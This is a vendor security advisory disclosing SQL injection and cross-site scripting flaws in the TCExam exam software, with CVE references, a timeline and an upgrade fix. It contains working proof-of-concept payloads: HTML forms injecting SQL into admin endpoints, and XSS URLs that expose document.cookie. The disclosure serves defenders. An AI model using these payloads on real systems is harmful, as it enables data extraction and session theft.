High-Tech Bridge Security Advisories are CVE Compatible    High-Tech Bridge Security Advisories CWE Compatibility    High-Tech Bridge Security Advisories CVSS Adopters
Vendor Statistics

286 software vendors have fixed 926 vulnerabilities in their products thanks to High-Tech Bridge Security Research Lab.

Patch Available Upon Disclosure

2014 Q1: 87%2013 Q2: 92%
2013 Q4: 67%2013 Q1: 100%
2013 Q3: 77%2012 Q4: 68%

Vendor Average Time to Patch

2014 Q1: 5 days 2013 Q2: 30 days
2013 Q4: 8 days 2013 Q1: 13 days
2013 Q3: 13 days 2012 Q4: 26 days

High-Tech Bridge Newsletter

Subscribe to our newsletter and receive some or all of our corporate news, invitations to security events or HTB Security Advisories – you choose what you want to receive.

Multiple vulnerabilities in TCExam

Advisory ID:HTB23111
Product:TCExam
Vendor:Nicola Asuni
Vulnerable Versions:11.3.008 and probably prior
Tested Version:11.3.008
Advisory Publication:August 22, 2012 [without technical details]
Vendor Notification:August 22, 2012
Vendor Fix:August 22, 2012
Public Disclosure:September 12, 2012
Latest Update:August 24, 2012
Vulnerability Type:SQL Injection [CWE-89]
Cross-Site Scripting [CWE-79]
CVE References:CVE-2012-4601
CVE-2012-4602
Risk Level:Medium
CVSSv2 Base Scores:6.5 (AV:N/AC:L/Au:S/C:P/I:P/A:P)
2.6 (AV:N/AC:H/Au:N/C:N/I:P/A:N)
Solution Status:Fixed by Vendor
Discovered and Provided:High-Tech Bridge Security Research Lab
 

Advisory Details:

High-Tech Bridge Security Research Lab discovered multiple vulnerabilities in TCExam, which can be exploited to perform Cross-Site Scripting (XSS) and SQL injection attacks.


1) SQL Injection in TCExam: CVE-2012-4601

1.1 Input passed via the "user_groups[]" POST parameter to /admin/code/tce_edit_test.php is not properly sanitised before being used in a SQL query.
This can be exploited to manipulate SQL queries by injecting arbitrary SQL code.

The following PoC (Proof of Concept) demonstrates the vulnerability:

<form action="http://tcexam/admin/code/tce_edit_test.php" method="post" name="main" id="main">
<input type="hidden" name="test_id" value="0">
<input type="hidden" name="test_name" value="test_name">
<input type="hidden" name="test_description" value="test_description">
<input type="hidden" name="user_groups[]" value="'+(select min(@a:=1)from (select 1 union select 2)k group by (select concat(@@version,0x0,@a:=(@a+1)%2)))+'">
<input type="hidden" name="add" value="add">
<input type="submit" name="Submit" value="Send">
</form>

1.2 Input passed via the "subject_id" POST parameter to /admin/code/tce_show_all_questions.php is not properly sanitised before being used in a SQL query.
This can be exploited to manipulate SQL queries by injecting arbitrary SQL code.

The following PoC demonstrates the vulnerability:

<form action="http://tcexam/admin/code/tce_show_all_questions.php" method="post" name="main" id="main">
<input type="hidden" name="subject_module_id" value="2">
<input type="hidden" name="subject_id" value="1 UNION SELECT question_type, version() AS numquestions FROM tce_questions">
<input type="hidden" name="update" value="update">
<input type="submit" name="Submit" value="Send">
</form>

Successful exploitation of these vulnerabilities (1.1,1.2) requires attacker to be registered and logged-in and have permission level 5 or above.


2) Cross-Site Scripting (XSS) in TCExam: CVE-2012-4602

Input passed via the "cid" and "uids" GET parameters to /admin/code/tce_select_users_popup.php is not properly sanitised before being returned to the user.
This can be exploited to execute arbitrary HTML and script code in administrator's browser session in context of an affected website.

The following PoC demonstrates the vulnerability:

http://tcexam/admin/code/tce_select_users_popup.php?cid=%22%3E%3Cscript%3Ealert%28document.cookie%29 ;%3C/script%3E
http://tcexam/admin/code/tce_select_users_popup.php?uids=%22%3E%3Cscript%3Ealert%28document.cookie%2 9;%3C/script%3E


Solution:
Upgrade to TCExam 11.3.009

More Information:
http://sourceforge.net/projects/tcexam/files/CHANGELOG.TXT/view
http://tcexam.git.sourceforge.net/git/gitweb.cgi?p=tcexam/tcexam;a=commit;h=3e1ed3c02122eae182f076daabe903b0c8837971


ImmuniWeb® by High-Tech Bridge


References:
[1] High-Tech Bridge Advisory HTB23111 - https://www.htbridge.com/advisory/HTB23111 - Multiple vulnerabilities in TCExam.
[2] TCExam - www.tcexam.org - TCExam is a CBA (Computer-Based Assessment) system (e-exam, CBT - Computer Based Testing) for universities, schools and companies, that enables educators and trainers to author, schedule, deliver, and report on surveys, quizzes, tests and exams.
[3] Common Vulnerabilities and Exposures (CVE) - http://cve.mitre.org/ - international in scope and free for public use, CVE® is a dictionary of publicly known information security vulnerabilities and exposures.
[4] Common Weakness Enumeration (CWE) - http://cwe.mitre.org - targeted to developers and security practitioners, CWE is a formal list of software weakness types.

Have additional information to submit?
Please feel free to send us any additional information related to this Advisory, such as vulnerable versions, additional exploitation details and conditions, patches and other relevant details.